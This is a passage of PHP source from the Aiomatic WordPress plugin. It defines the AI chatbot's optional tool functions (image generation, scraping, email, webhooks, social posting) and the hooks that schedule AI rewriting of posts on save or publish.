                return new Aiomatic_Query_Function(
                    'aiomatic_image',
                    'Call Dall-E AI to generate an image.',
                    [
                        new Aiomatic_Query_Parameter('prompt', 'The prompt which will be used for the AI image generator.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_amazon_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_amazon_listing',
                    'Get an Amazon product listing based on a search keyword phrase.',
                    [
                        new Aiomatic_Query_Parameter('query', 'The keyword phrase for which the Amazon product listing should be returned.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_amazon_details_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_amazon_product_details',
                    'Get details for a specific Amazon product, by ASIN or by keyword phrase.',
                    [
                        new Aiomatic_Query_Parameter('query', 'The ASIN or keyword phrase for which the Amazon product details should be returned.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_stable_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_stable_image',
                    'Call Stable Diffusion AI to generate an image.',
                    [
                        new Aiomatic_Query_Parameter('prompt', 'The prompt which will be used for the AI image generator.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_midjourney_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_midjourney_image',
                    'Call Midjourney AI to generate an image.',
                    [
                        new Aiomatic_Query_Parameter('prompt', 'The prompt which will be used for the AI image generator.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_stable_video_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_stable_video',
                    'Call Stable Diffusion AI to generate a video based on an image URL.',
                    [
                        new Aiomatic_Query_Parameter('image_url', 'The ULR of the image which will be used as a source for the AI video generator.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_scraper_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_website_scraper',
                    'Scrape any website URL and get the resulting content.',
                    [
                        new Aiomatic_Query_Parameter('url', 'The URL of the website which will be scraped.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_rss_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_rss_parser',
                    'Parses RSS feeds and gets their content in a structured way.',
                    [
                        new Aiomatic_Query_Parameter('url', 'The URL of RSS feed which will be parsed.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_google_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_google_parser',
                    'Parses Google SERP results and returns top search results.',
                    [
                        new Aiomatic_Query_Parameter('keywords', 'The search keywords for which the Google Search will be made.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_royalty_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_royalty_free_image',
                    'Search multiple royalty free image provider websites for an image, based on a keyword.',
                    [
                        new Aiomatic_Query_Parameter('keyword', 'The search keyword for which a royalty free image will be searched.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_youtube_captions_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_youtube_captions',
                    'Parses and returns the captions of a specific YouTube video, by its URL. This can be used to summarize a video.',
                    [
                        new Aiomatic_Query_Parameter('url', 'The URL of a YouTube video.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_youtube_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_youtube_search',
                    'Searches YouTube for videos, based on a search keyword string. You can add the returned video URL in an iframe to embed it to a page.',
                    [
                        new Aiomatic_Query_Parameter('keyword', 'The search keywords for which a YouTube video will be searched.', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_email_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_send_email',
                    'Sends an email to a specific email address, with predefined email subject and content.',
                    [
                        new Aiomatic_Query_Parameter('subject', 'The subject of the email', 'string', true),
                        new Aiomatic_Query_Parameter('content', 'The HTML content of the email', 'string', true),
                        new Aiomatic_Query_Parameter('recipient_email', 'Defined the email address to which to send the email', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_webhook_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_webhook',
                    'Calls an external webhook using a predefined list of parameters.',
                    [
                        new Aiomatic_Query_Parameter('webhook_url', 'The URL of the webhook to be called', 'string', true),
                        new Aiomatic_Query_Parameter('method_selector', 'The method to be used when calling the webhook. Possible values are: GET, POST, PUT, DELETE', 'string', true),
                        new Aiomatic_Query_Parameter('content_type', 'Set the content type of the called webhook. Possible values are form_data or json', 'string', false),
                        new Aiomatic_Query_Parameter('data', 'Set the data to be sent to the webhook. Set the main webhook content. If json was selected in the content_type parameter, enter a valid JSON structure here. If form_data was selected, enter the form data in this format: key => value (add new key/value combinations on a new line)', 'string', false),
                        new Aiomatic_Query_Parameter('headers', 'Set any headers to send with the webhook request. Enter the headers in this structure: key => value (add new key/value combinations on a new line). You can also leave this field blank.', 'string', false)
                    ]
                    );
            }
            function aiomatic_get_facebook_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_facebook',
                    'Publishes a textual post to Facebook, with an optional URL added to the post.',
                    [
                        new Aiomatic_Query_Parameter('content', 'The textual content of the Facebook post', 'string', true),
                        new Aiomatic_Query_Parameter('url', 'The URL attached to the Facebook post', 'string', false)
                    ]
                    );
            }
            function aiomatic_get_facebook_image_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_image_facebook',
                    'Publishes an image post to Facebook, with an optional image caption.',
                    [
                        new Aiomatic_Query_Parameter('image_url', 'The URL of the image to be published to Facebook', 'string', true),
                        new Aiomatic_Query_Parameter('caption', 'An optional image caption text', 'string', false)
                    ]
                    );
            }
            function aiomatic_get_twitter_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_twitter',
                    'Publishes a textual post to Twitter (X), with an optional image URL.',
                    [
                        new Aiomatic_Query_Parameter('content', 'The textual content of the Twitter (X) post', 'string', true),
                        new Aiomatic_Query_Parameter('image_url', 'The optional URL of an image', 'string', false)
                    ]
                    );
            }
            function aiomatic_get_instagram_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_instagram',
                    'Publishes an image post to Instagram, with an optional image text.',
                    [
                        new Aiomatic_Query_Parameter('image_url', 'The image URL to be sent to Instagram', 'string', true),
                        new Aiomatic_Query_Parameter('content', 'The optional image description for the Instagram post', 'string', false)
                    ]
                    );
            }
            function aiomatic_get_pinterest_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_pinterest',
                    'Publishes an image post to Pinterest, with a pin title, description and URL.',
                    [
                        new Aiomatic_Query_Parameter('image_url', 'The image URL to be sent to Pinterest', 'string', true),
                        new Aiomatic_Query_Parameter('title', 'The title of the Pinterest pin', 'string', true),
                        new Aiomatic_Query_Parameter('description', 'The description of the Pinterest pin', 'string', true),
                        new Aiomatic_Query_Parameter('pin_url', 'The website URL attached to the Pinterest pin', 'string', false)
                    ]
                    );
            }
            function aiomatic_get_google_business_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_google_my_business',
                    'Publishes a post to Google My Business, with a textual content and an image URL.',
                    [
                        new Aiomatic_Query_Parameter('content', 'The content of the GMB post', 'string', true),
                        new Aiomatic_Query_Parameter('image_url', 'The URL of the image for the GMB post', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_youtube_community_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_youtube_community',
                    'Publishes a post to YouTube Community, with a textual content and an image URL.',
                    [
                        new Aiomatic_Query_Parameter('content', 'The content of the YouTube Community post', 'string', true),
                        new Aiomatic_Query_Parameter('post_type', 'Set the YouTube Community post type. Possible values are: text, image', 'string', true),
                        new Aiomatic_Query_Parameter('image_url', 'The URL of the image for the YouTube Community post.', 'string', false)
                    ]
                    );
            }
            function aiomatic_get_reddit_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_reddit',
                    'Publishes a post to Reddit, with a textual content and a title.',
                    [
                        new Aiomatic_Query_Parameter('title', 'The title of the Reddit post', 'string', true),
                        new Aiomatic_Query_Parameter('content', 'The content of the Reddit post', 'string', true)
                    ]
                    );
            }
            function aiomatic_get_linkedin_object()
            {
                return new Aiomatic_Query_Function(
                    'aiomatic_publish_linkedin',
                    'Publishes a post to LinkedIn, with a title, link, description, content and image URL.',
                    [
                        new Aiomatic_Query_Parameter('title', 'The title of the LinkedIn post', 'string', true),
                        new Aiomatic_Query_Parameter('content', 'The content of the LinkedIn post', 'string', true),
                        new Aiomatic_Query_Parameter('description', 'The description of the LinkedIn post', 'string', false),
                        new Aiomatic_Query_Parameter('link', 'The URL attached to the LinkedIn post', 'string', false),
                        new Aiomatic_Query_Parameter('image_url', 'The URL of an image, which will be attached to the LinkedIn post', 'string', false)
                    ]
                    );
            }
            function aiomatic_return_god_function()
            {
                $return_arr = array();
                $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false);
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_wp']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_wp']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_god_mode_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_dalle']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_dalle']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_dalle_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_amazon']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_amazon']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_amazon_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_amazon_details']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_amazon_details']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_amazon_details_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_stable']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_stable']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_stable_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_midjourney']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_midjourney']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_midjourney_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_stable_video']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_stable_video']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_stable_video_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_scraper']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_scraper']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_scraper_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_rss']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_rss']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_rss_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_google']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_google']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_google_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_royalty']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_royalty']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_royalty_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_youtube']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_youtube']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_youtube_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_youtube_captions']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_youtube_captions']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_youtube_captions_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_email']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_email']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_email_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_webhook']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_webhook']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_webhook_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_facebook_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_facebook_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_facebook_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_facebook_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_facebook_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_facebook_image_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_twitter_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_twitter_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_twitter_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_instagram_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_instagram_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_instagram_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_pinterest_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_pinterest_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_pinterest_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_google_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_google_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_google_business_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_youtube_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_youtube_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_youtube_community_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_reddit_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_reddit_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_reddit_object());
                }
                if (isset($aiomatic_Chatbot_Settings['god_mode_enable_linkedin_post']) && trim($aiomatic_Chatbot_Settings['god_mode_enable_linkedin_post']) == 'on')
                {
                    $return_arr[] = array('type' => 'function', 'function' => aiomatic_get_linkedin_object());
                }
                return $return_arr;
            }
            add_filter('aiomatic_ai_functions', 'aiomatic_add_god_mode', 999, 1);
            function aiomatic_add_god_mode($query) 
            {
                if(is_array($query))
                {
                    $functions = $query;
                }
                else
                {
                    $functions = array();
                }
                if ( current_user_can( 'access_aiomatic_menu' ) ) 
                {
                    $functions['functions'] = aiomatic_return_god_function();
                    $functions['message'] = '';
                }
                return $functions;
            }
            ?>���������������������������������������������������������aiomatic-do-post.php��������������������������������������������������������������������������������0000644�����������������00001515467�14757771437�0010477 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
            defined('ABSPATH') or die();
            $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
            if (isset($aiomatic_Spinner_Settings['process_event']) && $aiomatic_Spinner_Settings['process_event'] === 'draft')
            {
                add_action('save_post', 'aiomatic_draft_process', 10, 3);
            }
            elseif (isset($aiomatic_Spinner_Settings['process_event']) && $aiomatic_Spinner_Settings['process_event'] === 'pending')
            {
                add_action('save_post', 'aiomatic_pending_process', 10, 3);
            }
            else
            {
                add_action('aiomatic_new_post_cron', 'aiomatic_do_post', 10, 1);
                add_action('transition_post_status', 'aiomatic_new_post', 10, 3);
            }
            add_action('init', 'aiomatic_register_my_custom_cron_event');
            
            function aiomatic_register_my_custom_cron_event() 
            {
                add_action('aiomatic_handle_delayed_post', 'aiomatic_process_delayed_post', 10, 1);
            }
            function aiomatic_schedule_post($post_id, $delay) 
            {
                $execution_time = time() + $delay;
                wp_schedule_single_event($execution_time, 'aiomatic_handle_delayed_post', [$post_id]);
            }
            function aiomatic_process_delayed_post($post_id) 
            {
                $post = get_post($post_id);
                if ($post === null) 
                {
                    aiomatic_log_to_file('Post ID no longer found! ID is: ' . $post_id);
                    return;
                }
                if ($post->post_status === 'draft') 
                {
                    $is_draft_added = get_post_meta($post_id, 'aiomatic_draft_processed', true);
                    if (!$is_draft_added) 
                    {
                        update_post_meta($post_id, 'aiomatic_draft_processed', '1');
                        aiomatic_do_post($post);
                    }
                } 
                else 
                {
                    delete_post_meta($post_id, 'aiomatic_draft_processed');
                }
            }
            function aiomatic_draft_process($post_id, $post, $update) 
            {
                if (wp_is_post_autosave($post_id)) 
                {
                    return;
                }
                if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) {
                    return;
                }
                if (wp_is_post_revision($post_id)) {
                    return;
                }
                if ($post->post_status === 'draft') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    if (isset($aiomatic_Spinner_Settings['delay_post']) && $aiomatic_Spinner_Settings['delay_post'] != '' && is_numeric($aiomatic_Spinner_Settings['delay_post'])) 
                    {
                        aiomatic_schedule_post($post_id, intval($aiomatic_Spinner_Settings['delay_post']));
                        return;
                    }
                    $is_draft_added = get_post_meta($post_id, 'aiomatic_draft_processed', true);
                    if (!$is_draft_added) 
                    {
                        update_post_meta($post_id, 'aiomatic_draft_processed', '1');
                        aiomatic_do_post($post);
                    }
                } 
                else 
                {
                    delete_post_meta($post_id, 'aiomatic_draft_processed');
                }
            }
            function aiomatic_pending_process($post_id, $post, $update) 
            {
                if (wp_is_post_autosave($post_id)) 
                {
                    return;
                }
                if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) {
                    return;
                }
                if (wp_is_post_revision($post_id)) {
                    return;
                }
                if ($post->post_status === 'pending') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    if (isset($aiomatic_Spinner_Settings['delay_post']) && $aiomatic_Spinner_Settings['delay_post'] != '' && is_numeric($aiomatic_Spinner_Settings['delay_post'])) 
                    {
                        sleep(intval($aiomatic_Spinner_Settings['delay_post']));
                        $post = get_post($post_id);
                        if($post === null)
                        {
                            aiomatic_log_to_file('Post ID no longer found! ID is: ' . $post_id);
                            return;
                        }
                    }
                    $is_draft_added = get_post_meta($post_id, 'aiomatic_pending_processed', true);
                    if (!$is_draft_added) 
                    {
                        update_post_meta($post_id, 'aiomatic_pending_processed', '1');
                        aiomatic_do_post($post);
                    }
                } 
                else 
                {
                    delete_post_meta($post_id, 'aiomatic_pending_processed');
                }
            }
            function aiomatic_new_post($new_status, $old_status, $post)
            {
                if ('publish' !== $new_status or 'publish' === $old_status)
                {
                    return;
                }
                else
                {
                    if($old_status == 'auto-draft' && $new_status == 'publish' && !has_post_thumbnail($post->ID) && ((function_exists('has_blocks') && has_blocks($post)) || ($post->post_content == '' && function_exists('has_blocks') && !class_exists('Classic_Editor'))))
                    {
                        $delay_it_is_gutenberg = true;
                    }
                    else
                    {
                        $delay_it_is_gutenberg = false;
                    }
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                {
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    if (isset($aiomatic_Spinner_Settings['aiomatic_spinning']) && $aiomatic_Spinner_Settings['aiomatic_spinning'] == 'on') {
                        if (isset($aiomatic_Spinner_Settings['delay_post']) && $aiomatic_Spinner_Settings['delay_post'] != '' && is_numeric($aiomatic_Spinner_Settings['delay_post'])) {
                            if(wp_next_scheduled('aiomatic_new_post_cron', array($post)) === false)
                            {
                                if($delay_it_is_gutenberg && $aiomatic_Spinner_Settings['delay_post'] < 2)
                                {
                                    $aiomatic_Spinner_Settings['delay_post'] = 2;
                                }
                                wp_schedule_single_event(time() + $aiomatic_Spinner_Settings['delay_post'], 'aiomatic_new_post_cron', array($post));
                            }
                        }
                        else
                        {
                            if (isset($aiomatic_Spinner_Settings['run_background']) && $aiomatic_Spinner_Settings['run_background'] == 'on') {
                                if($delay_it_is_gutenberg)
                                {
                                    if(wp_next_scheduled('aiomatic_new_post_cron', array($post)) === false)
                                    {
                                        wp_schedule_single_event(time() + 2, 'aiomatic_new_post_cron', array($post));
                                    }
                                }
                                else
                                {
                                    $unique_id = uniqid();
                                    update_option('aiomatic_do_post_uniqid', $unique_id);
                                    $xcron_url = site_url( '?aiomatic_do_post_cronjob=1&post_id=' . $post->ID . '&aiomatic_do_post_key=' . $unique_id);
                                    wp_remote_post( $xcron_url, array( 'timeout' => 1, 'blocking' => false, 'sslverify' => false ) );
                                }
                            }
                            else
                            {
                                if($delay_it_is_gutenberg)
                                {
                                    if(wp_next_scheduled('aiomatic_new_post_cron', array($post)) === false)
                                    {
                                        wp_schedule_single_event( time() + 2, 'aiomatic_new_post_cron', array($post) );
                                    }
                                }
                                else
                                {
                                    aiomatic_do_post($post);
                                }
                            }
                        }
                    }
                }
            }
            
            add_action('init', 'aiomatic_do_post_callback', 0);
            function aiomatic_do_post_callback()
            {
                $secretp_key = get_option('aiomatic_do_post_uniqid', false);
                if (isset($_GET['aiomatic_do_post_cronjob']) && $_GET['aiomatic_do_post_cronjob'] == '1' && isset($_GET['post_id']) && is_numeric($_GET['post_id']) && $_GET['aiomatic_do_post_key'] === $secretp_key)
                {
                    $post = get_post($_GET['post_id']);
                    if($post !== null)
                    {
                        aiomatic_do_post($post);
                        exit();
                    }
                }
            }
            function aiomatic_do_post($post, $manual = false)
            {
                $plugin = plugin_basename(__FILE__);
                $plugin_slug = explode('/', $plugin);
                $plugin_slug = $plugin_slug[0]; 
                $uoptions = array();
                $is_activated = aiomatic_is_activated($plugin_slug, $uoptions);
                if($is_activated !== true && $is_activated !== 2)
                {
                    aiomatic_log_to_file('The plugin is not activated using a valid purchase code. You need to activate the plugin for this feature to work.');
                    return;
                }
                $raw_img_list = array();
                $full_result_list = array();
                $post_link = '';
                $post_title = '';
                $blog_title = '';
                $post_excerpt = '';
                $final_content = '';
                $user_name = '';
                $featured_image = '';
                $post_cats = '';
                $post_tagz = '';
                $postID = '';
                $img_attr = '';
                $thread_id = '';
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['rule_timeout']) && $aiomatic_Main_Settings['rule_timeout'] != '') 
                {
                    $timeout = intval($aiomatic_Main_Settings['rule_timeout']);
                } 
                else 
                {
                    $timeout = 36000;
                }
                ini_set('safe_mode', 'Off');
                ini_set('max_execution_time', $timeout);
                ini_set('ignore_user_abort', 1);
                ini_set('user_agent', aiomatic_get_random_user_agent());
                if(function_exists('ignore_user_abort'))
                {
                    ignore_user_abort(true);
                }
                if(function_exists('set_time_limit'))
                {
                    set_time_limit($timeout);
                }
                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                {
                    aiomatic_log_exec_time('Edit Posts');
                }
                if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') 
                {
                    require_once(dirname(__FILE__) . "/res/aiomatic-chars.php");
                    $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false);
                    $added_img_list = array();
                    $added_images = 0;
                    $heading_results = array();
                    if ($manual || isset($aiomatic_Spinner_Settings['aiomatic_spinning']) && $aiomatic_Spinner_Settings['aiomatic_spinning'] == 'on') 
                    {
                        if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') 
                        {
                            aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!');
                            return;
                        }
                        $vision_file = '';
                        $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                        $appids = array_filter($appids);
                        $token = $appids[array_rand($appids)];
                        if (!$manual && isset($aiomatic_Spinner_Settings['post_posts'])) {
                            if ($aiomatic_Spinner_Settings['post_posts'] == 'on' && 'post' === $post->post_type) {
                                return;
                            }
                        }
                        if (!$manual && isset($aiomatic_Spinner_Settings['post_pages'])) {
                            if ($aiomatic_Spinner_Settings['post_pages'] == 'on' && 'page' === $post->post_type) {
                                return;
                            }
                        }
                        if (!$manual && isset($aiomatic_Spinner_Settings['post_custom'])) {
                            if ($aiomatic_Spinner_Settings['post_custom'] == 'on' && 'page' !== $post->post_type && 'post' !== $post->post_type) 
                            {
                                if (isset($aiomatic_Spinner_Settings['except_type']) && $aiomatic_Spinner_Settings['except_type'] != '') 
                                {
                                    $excepted_types = explode(',', $aiomatic_Spinner_Settings['except_type']);
                                    $excepted_types = array_map('trim', $excepted_types);
                                    if(!in_array($post->post_type, $excepted_types))
                                    {
                                        return;
                                    }
                                }
                                else
                                {
                                    return;
                                }
                            }
                        }
                        $pid = $post->ID;
                        $post = get_post($post->ID);
                        if($post === null)
                        {
                            if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                            {
                                aiomatic_log_to_file('Post ID no longer found: ' . $pid);
                            }
                            return;
                        }
                        if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '')
                        {
                            $custom_name = trim($aiomatic_Spinner_Settings['custom_name']);
                        }
                        else
                        {
                            $custom_name = 'aiomatic_published';
                        }
                        $meta = get_post_meta($post->ID, $custom_name, true);
                        if (!$manual && $meta == 'pub') {
                            return;
                        }
                        $meta = get_post_meta($post->ID, "aiomatic_auto_post_spinned", true);
                        if ($meta === '1') {
                            return;
                        }
                        if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                        {
                            aiomatic_log_to_file('Starting editing post ID: ' . $pid);
                        }
                        $post_title = $post->post_title;
                        $post_excerpt = $post->post_excerpt;
                        $final_content = $post->post_content;
                        if (isset($aiomatic_Spinner_Settings['ai_rewriter']) && $aiomatic_Spinner_Settings['ai_rewriter'] != '' && $aiomatic_Spinner_Settings['ai_rewriter'] != 'disabled')
                        {
                            $vision_file = '';
                            if (isset($aiomatic_Spinner_Settings['edit_temperature']) && $aiomatic_Spinner_Settings['edit_temperature'] != '')
                            {
                                $edit_temperature = floatval($aiomatic_Spinner_Settings['edit_temperature']);
                            }
                            else
                            {
                                $edit_temperature = 0;
                            }
                            if (isset($aiomatic_Spinner_Settings['edit_model']) && $aiomatic_Spinner_Settings['edit_model'] != '')
                            {
                                $model = trim($aiomatic_Spinner_Settings['edit_model']);
                            }
                            else
                            {
                                $model = get_default_model_name($aiomatic_Main_Settings);
                            }
                            if (isset($aiomatic_Spinner_Settings['ai_vision']) && $aiomatic_Spinner_Settings['ai_vision'] == 'on')
                            {
                                $avatar = get_the_post_thumbnail_url($post->ID, 'post-thumbnail');
                                if($avatar !== false)
                                {
                                    $vision_file = $avatar;
                                }
                            }
                            if (isset($aiomatic_Spinner_Settings['edit_assistant_id']) && $aiomatic_Spinner_Settings['edit_assistant_id'] != '')
                            {
                                $assistant_id = trim($aiomatic_Spinner_Settings['edit_assistant_id']);
                            }
                            else
                            {
                                $assistant_id = '';
                            }
                            if (isset($aiomatic_Spinner_Settings['edit_top_p']) && $aiomatic_Spinner_Settings['edit_top_p'] != '')
                            {
                                $edit_top_p = floatval($aiomatic_Spinner_Settings['edit_top_p']);
                            }
                            else
                            {
                                $edit_top_p = 1;
                            }
                            $completionmodels = aiomatic_get_all_models(true);
                            if ((isset($aiomatic_Spinner_Settings['ai_instruction']) && $aiomatic_Spinner_Settings['ai_instruction'] != '') || (isset($aiomatic_Spinner_Settings['ai_instruction_title']) && $aiomatic_Spinner_Settings['ai_instruction_title'] != '') || (isset($aiomatic_Spinner_Settings['ai_instruction_excerpt']) && $aiomatic_Spinner_Settings['ai_instruction_excerpt'] != '') || (isset($aiomatic_Spinner_Settings['ai_instruction_slug']) && $aiomatic_Spinner_Settings['ai_instruction_slug'] != ''))
                            {
                                $ai_instruction = trim($aiomatic_Spinner_Settings['ai_instruction']);
                                $ai_instruction = aiomatic_replaceSynergyShortcodes($ai_instruction);
                                $ai_instruction_title = trim($aiomatic_Spinner_Settings['ai_instruction_title']);
                                $ai_instruction_title = aiomatic_replaceSynergyShortcodes($ai_instruction_title);
                                $ai_instruction_excerpt = trim($aiomatic_Spinner_Settings['ai_instruction_excerpt']);
                                $ai_instruction_excerpt = aiomatic_replaceSynergyShortcodes($ai_instruction_excerpt);
                                $ai_instruction_slug = trim($aiomatic_Spinner_Settings['ai_instruction_slug']);
                                $ai_instruction_slug = aiomatic_replaceSynergyShortcodes($ai_instruction_slug);
                                $post_link = get_permalink($post->ID);
                                $blog_title       = html_entity_decode(get_bloginfo('title'));
                                $author_obj       = get_user_by('id', $post->post_author);
                                if($author_obj !== false && isset($author_obj->user_nicename))
                                {
                                    $user_name        = $author_obj->user_nicename;
                                }
                                else
                                {
                                    $user_name        = '';
                                }
                                $featured_image   = '';
                                wp_suspend_cache_addition(true);
                                $metas = get_post_custom($post->ID);
                                wp_suspend_cache_addition(false);
                                if(is_array($metas))
                                {
                                    $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                                }
                                else
                                {
                                    $rez_meta = array();
                                }
                                if(count($rez_meta) > 0)
                                {
                                    foreach($rez_meta as $rm)
                                    {
                                        if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                        {
                                            $featured_image = $rm[0];
                                            break;
                                        }
                                    }
                                }
